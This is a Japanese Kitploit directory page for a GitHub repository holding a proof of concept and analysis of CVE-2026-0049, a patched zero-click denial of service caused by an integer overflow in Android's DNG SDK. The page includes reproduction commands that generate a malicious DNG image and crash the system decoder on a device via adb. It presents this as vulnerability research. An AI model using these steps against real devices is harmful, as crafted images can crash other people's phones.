Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-0049 — AndroidのDNG SDKにおけるゼロクリックDoSのPoCと分析。細工されたDNGサンプル、NDKクラッシュハーネス、UBSan/IntSanによるMapTableオーバーフローの再現を含む。 | Kitploit
ツール/GitHubGitHub/r3n3r0/cve-2026-0049
Androidセキュリティペイロード生成脆弱性分析エクスプロイトバイナリ解析論文と研究学習と教育
GitHubr3n3r0/cve-2026-0049

CVE-2026-0049

AndroidのDNG SDKにおけるゼロクリックDoSのPoCと分析。細工されたDNGサンプル、NDKクラッシュハーネス、UBSan/IntSanによるMapTableオーバーフローの再現を含む。

リポジトリを見る
1312ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-0049 — Android DNG ゼロクリック DoS (dng_sdk MapTable add-overflow)

完全な研究資料と PoC。ナラティブ分析: 🇮🇹 BLOG.md · 🇬🇧 BLOG.en.md。

  • Bug: unsigned 整数オーバーフローが fAreaSpec.Plane() + fAreaSpec.Planes() に発生 dng_opcode_MapTable::ProcessArea 内 (dng_sdk/source/dng_misc_opcodes.cpp:388)。
  • 影響: ゼロクリック DoS。Android が libdng_sdk.so をコンパイルする際の IntSan が、 オーバーフローを abort() → SIGABRT に変換し、DNG をデコードするプロセスで発生させます。
  • RCE ではない (ループの二重バウンド → OOB なし)。BLOG.md の §12 を参照。
  • 深刻度: Google (速報) はこれを Critical と宣言。NVD/CISA は Medium (CVSS 6.2) — 同じ CVE に対する2つの異なる分類 (§13)。
  • 修正: Android Security Bulletin 2026年4月 (パッチ 2026-04-01, A-456471290)。2つの パッチ: dng_sdk での算術修正 (+ を - として書き換え) + LocalImageResolver.java の MIME 許可リストで DNG を拒否 (§14)。

この記事はまた、PoC 生成の完全な手順 (§6)、NDK ハーネスが使われた理由 (§7)、UBSan/IntSan の フラグ -fsanitize=undefined vs =integer の違い、recover/no-recover/trap、full vs minimal runtime (§10)、および IntSan vs SafeInt vs MTE (§11) についても詳述しています。

構造

CVE-2026-0049/
├── BLOG.md                       articolo completo — italiano (17 sezioni)
├── BLOG.en.md                    full article — English (17 sections)
├── poc/
│   ├── inject_opcode.py          [PRINCIPALE] inietta OpcodeList2/MapTable in un DNG valido
│   ├── gen_base_dng.py           genera il DNG Bayer valido di base (richiede pidng)
│   ├── make_dng.py               generatore stand-alone (DNG minimale + opcode)
│   └── make_poc_dng.py           primo generatore from-scratch (LinearRaw minimale)
├── harness/
│   ├── decode_poc.c              harness NDK AImageDecoder (crash on-device)
│   └── dng_xmp_stub.cpp          stub XMP per compilare dng_validate su PC
├── samples/
│   ├── valid_poc.dng             PoC funzionante (fa crashare il decoder di sistema)
│   ├── base_benign.dng           controllo benigno (decodifica senza crash)
│   └── poc_minimal.dng           variante minimale from-scratch
└── evidence/
    ├── crash_backtrace.txt       tombstone reale dal Pixel 9
    └── device_analysis.md        analisi binaria libdng_sdk.so + IntSan/SafeInt/MTE

クイックリプロダクション

A) 悪意のある DNG

pip install pidng
python3 poc/gen_base_dng.py base                     # -> base.dng (Bayer valido)
python3 poc/inject_opcode.py base.dng valid_poc.dng poc
# oppure usa direttamente samples/valid_poc.dng

重要な詳細: AreaSpec は空でない必要があります (0,0,H,W)。空の領域の場合、 Android の dng_sdk はショートサーキットし、デコードはクラッシュせずエラーを返します (BLOG.md の §6.6 を参照)。完全に有効な DNG が必要で、最小限のものでは不十分な理由: SkRawCodec (システムデコーダー) は Glide/Photos よりも厳格で、完全なカラーメタデータのない DNG を拒否します (§2, §6.1)。

B) 実機でのクラッシュ (NDK ハーネス)

$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang \
    -O0 -o decode_poc harness/decode_poc.c -ljnigraphics
adb push decode_poc valid_poc.dng /data/local/tmp/     # NB: /data/local/tmp, NON /sdcard (FUSE)
adb shell /data/local/tmp/decode_poc /data/local/tmp/valid_poc.dng
# -> Abort message: 'ubsan: add-overflow' ; SIGABRT in dng_opcode_MapTable::ProcessArea

C) 実機なしの PC でのリプロダクション (dng_validate + UBSan)

dng_sdk のソースをコンパイルし、-fsanitize=integer -fno-sanitize-recover を dng_misc_opcodes.cpp にのみ適用します (harness/dng_xmp_stub.cpp を使用して XMP SDK なしでリンク)。次に:

./dng_validate samples/valid_poc.dng
# dng_misc_opcodes.cpp:388:32: runtime error: unsigned integer overflow: 4294967040 + 512

研究・教育目的のみ。自己所有のハードウェアでのみテスト済み。

ツールをダウンロード